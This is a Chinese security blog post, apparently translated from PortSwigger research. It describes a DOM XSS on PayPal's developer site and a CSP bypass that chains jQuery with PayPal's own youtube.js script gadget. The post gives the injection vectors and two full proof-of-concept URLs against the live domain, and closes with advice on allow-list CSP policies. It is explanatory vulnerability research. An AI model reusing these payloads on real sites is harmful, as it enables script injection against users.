漏洞分析 Paypal DOM XSS & CSP bypass - res0****

admin 2021年12月31日14:51:42评论86 views字数 5538阅读18分27秒阅读模式

简介

参考 https://portswigger.net/research/finding-dom-polyglot-xss-in-paypal-the-easy-way

漏洞分析 - Paypal DOM XSS

在数千行代码中查找DOM XSS可能并不简单。

安全从业者Gareth Heyes使用Burp自带的浏览器,使用DOM Invader,注入canary,即可实现查看每个页面上使用了哪些sources 和 sinks。

如果遇到一些有趣的sinks,就将<>'"等"探测字符" 与 canary一起发送,并检查这个sink是否被允许。

很快Gareth Heyes就找到了页面中以不安全的方式反射了我们的"探测字符"。

因为反射是不可见的,所以需要仔细审查页面,或借助burp。

正如上面的截图,我们的canary被反射在一个 id属性中。
如果我们发送1个双引号",我们可以看到值如何到达这个sink。
事实上当发送1个双引号"时,页面变空白了。

然后,见下图,我们"转义"(escape)这1个双引号,发现页面完全正常(没被break),我们可以看到“输入的值”到达了这个sink:

在HTML中,反斜杠\对双引号"没有影响,所以我们似乎发现了1个XSS漏洞。不过,我们需要通过注入一些其他字符来确认,这些字符可以导致JavaScript执行。

进行多次测试之后,我们注意到注入的值必须是一个有效的CSS选择器(CSS selector)。所以我们得到了以下vector:

burpdomxss input[value='\">\<iframe srcdoc=&lt;script&gt;alert(document.domain)&llt;/script&gt;>\"']

这个payload并没有触发,最初是因为CSP,当我们用Burp禁用CSP之后,我们得到了alert。
然后我们在HackerOne上向Paypal报告了这一情况,并附上了禁用CSP的说明。让我们惊讶的是,我们得到了回复“无危害”:
“After review, there doesn’t seem to be any security risk and/or security impact as a result of the behavior you are describing.”

也就是说:“经过审查,似乎没有任何安全风险和安全影响。”

所以,显然需要绕过PayPal资产上的CSP,才能实现XSS。
我们不同意这个评价,其他公司如谷歌会奖励你没有CSP bypass的XSS。

然后我们开始寻找绕过Paypal的CSP policy的方法。

Bypassing CSP on PayPal

首先,我们研究了CSP,并注意到一些薄弱的部分。
在script-src指令中,他们允许某些域,如*.paypalobjects.com*.paypal.com
还包括'unsafe-eval'指令,允许使用evalFunction构造函数和其他JavaScript执行sinks:

base-uri 'self' https://*.paypal.com; connect-src 'self' https://*.paypal.com https://*.paypalobjects.com https://*.google-analytics.com https://nexus.ensighten.com https://*.algolianet.com https://*.algolia.net https://insights.algolia.io https://*.qualtrics.com; default-src 'self' https://*.paypal.com https://*.paypalobjects.com; form-action 'self' https://*.paypal.com; frame-src 'self' https://*.paypal.com https://*.paypalobjects.com https://www.youtube-nocookie.com https://*.qualtrics.com https://*.paypal-support.com; img-src 'self' https: data:; object-src 'none'; script-src 'nonce-RGYH2N1hP59U4+QwLcOaI5GgHbP19yxg1MEmKXc883wiDeAj' 'self' https://*.paypal.com https://*.paypalobjects.com 'unsafe-inline' 'unsafe-eval'; style-src 'self' block-all-mixed-content;; report-uri https://www.paypal.com/csplog/api/log/csp

看看policy,"允许列表"(the allow list) 和 'unsafe-eval'可能是绕过CSP的最佳目标。

所以我们在Burp Suite的scope中添加了这些域。你可以在scope中使用正则表达式,这非常方便。我们的scope是这样的:

^(?:.*[.]paypal(?:objects)?.com)$

Burp允许你在scope内选择特定的协议,因为这个CSP policy里有'block-all-mixed-content'指令,所以我们只选择了HTTPS协议。

参考 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content

当页面使用 HTTPS 时,CSP中的block-all-mixed-content指令可防止通过 HTTP 加载任何资产。
所有混合内容资源请求都被阻止,包括主动和被动混合内容。这也适用于<iframe>文档,确保整个页面混合无内容。

在研究了CSP后,我们打开Burp中的嵌入式浏览器,并开始手动浏览站点,这是为了选择有大量JavaScript资产的目标。一旦我们收集了大量的proxy history记录,我们就可以使用Burp卓越的搜索功能来查找旧的JavaScript库。
Burp允许你只在scope items中搜索,所以我们选中了那个框,让我们可绕过CSP的资产。

--

我们从搜索AngularJS开始,因为用它创建一个CSP bypass非常容易。发现Paypal有对Angular的引用,但没有对AngularJS的引用:我们尝试的JavaScript文件似乎并没有加载Angular或导致异常。
所以我们转向Bootstrap并在request headers 和response body中进行搜索。出现了几个Bootstrap实例,我们发现了一个较旧的版本(3.4.1)。

接下来我们研究了Bootstrap gadgets。在GitHub项目里有一些XSS issues,但这些受影响的版本是3.4.0。我们看了一段时间Bootstrap代码,寻找jQuery的用法,但没有找到合适的gadgets。

我们没有在javascript libraries里寻找gadgets,而是想到了贝宝(PayPal)的gadgets。如果PayPal有一些不安全的JavaScript我们可以利用呢?
这一次,我们不是搜索特定的javascript libraries(库),而是搜索托管了这些库的路径的一部分,如/c979c6f780cc5b37d2dc068f15894/js/lib/.

在搜索结果中,我们注意到一个名为youtube.js的文件,并立即发现其中有一个明显的DOM XSS漏洞:

../' +  $(this).attr("data-id") + '.jpg"...

youtube.js这个文件使用了jQuery,所以我们需要做的就是:引入jQueryyoutube.js,利用漏洞,我们有了一个CSP bypass。

看看youtube.js文件,我们看到它使用了1个CSS selector来查找YouTube player元素:

...$(".youtube-player").each(function() {...

因此,我们需要注入这样一个元素:
(1)该元素需要带有youtube-playerclass
(2)该元素需要有data-id属性,且值为jQuery XSS vector(向量)。

一旦我们有了通用PayPal CSP bypass,我们所要做的就是将它与最初的注入结合起来。

首先,我们注入了一个带有srcdoc属性的iframe。这是因为我们想注入一个外部script,但因为这是一个基于DOM的漏洞,脚本不会执行。但是有了srcdoc即可执行:

input[value='\">\<iframe srcdoc=

请注意,我们需要确保它是一个有效的selector:通过"转义"(escape)双引号并为selector的值部分用单引号括起来。

然后,我们可以注入脚本(脚本指向jQuery和YouTube gadget):

<script/src=https://www.paypalobjects.com/web/res/28f/c979c6f780cc5b37d2dc068f15894/js/lib/jquery-2.2.4.min.js></script><script/src=https://www.paypalobjects.com/web/res/28f/c979c6f780cc5b37d2dc068f15894/js/lib/youtube.js></script>

注意,我们必须在HTML中对vector进行编码。
因为我们不想让它用1个>字符、一个空格关闭srcdoc属性。

然后,我们使用YouTube gadget注入一个脚本,jQuery将该脚本转换并执行。同样,我们需要对vector进行HTML编码,给它正确的class名,并使用data-id属性来注入vector。
请注意,我们使用编码了的单引号来避免属性的中断(breaking)。我们必须用"双HTML编码"(double HTML encode)来编码双引号",因为srcdoc会解码HTML,而data-id属性会解码(当它在iframe中渲染时),所以两次编码确保当它注入YouTube gadget时,双引号就在那里。最后,我们使用一行注释进行清理,以确保脚本忽略注入️后的任何内容,用双引号和单引号闭合(finishing)这个CSS selector:

<div/class=youtube-player data-id='&quot;><script>alert(document.domain)//'>>\"']

PoC:

https://developer.paypal.com/docs/archive/?countries=burpdomxss%20input%5Bvalue=%27%5c%22%3E%5c%3Ciframe%20srcdoc=%26lt%3Bscript/src=https://www.paypalobjects.com/web/res/28f/c979c6f780cc5b37d2dc068f15894/js/lib/jquery-2.2.4.min.js%26gt%3B%26lt%3B/script%26gt%3B%26lt%3Bscript/src=https://www.paypalobjects.com/web/res/28f/c979c6f780cc5b37d2dc068f15894/js/lib/youtube.js%26gt%3B%26lt%3B/script%26gt%3B%26lt%3Bdiv/class=youtube-player%26%23x20%3Bdata-id=%26apos%3B%26amp%3Bquot%3B%26gt%3B%26lt%3Bscript%26gt%3Balert%28document.domain%29%2f%2f%26apos%3B%26gt%3B%3E%5c%22%27%5D

PoC截图:

这相当酷,PayPal上的一个完整的CSP bypass。 但需要它吗?

简化

正如我们所见,jQuery是CSP的死敌:jQuery转换scripts,并在CSP使用'unsafe-eval'指令时,愉快地执行scripts。

看看原始的XSS漏洞,它似乎是一个jQuery selector。因此,我们可以注入一个script,它将被jQuery转换,因此不需要单独的CSP bypass。

因此,我们可以将注入简化为:

input[value='\">\<script>alert(1)//>\"']

PoC:

https://developer.paypal.com/docs/archive/?countries=burpdomxss%20input%5Bvalue=%27%5c%22%3E%5c%3Cscript%3Ealert%281%29%2f%2f%3E%5c%22%27%5D

结论

Allow list policies(允许列表策略)绝对不安全,特别是当您有大量可能被滥用的脚本/库的时候。

如果您公司有自己的漏洞赏金计划,我们建议您修复 XSS,而无需考虑(是否绕过了)CSP,这有助于防止意外的script gadget。

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日14:51:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞分析 Paypal DOM XSS & CSP bypass - res0****http://cn-sec.com/archives/709920.html

发表评论

匿名网友 填写信息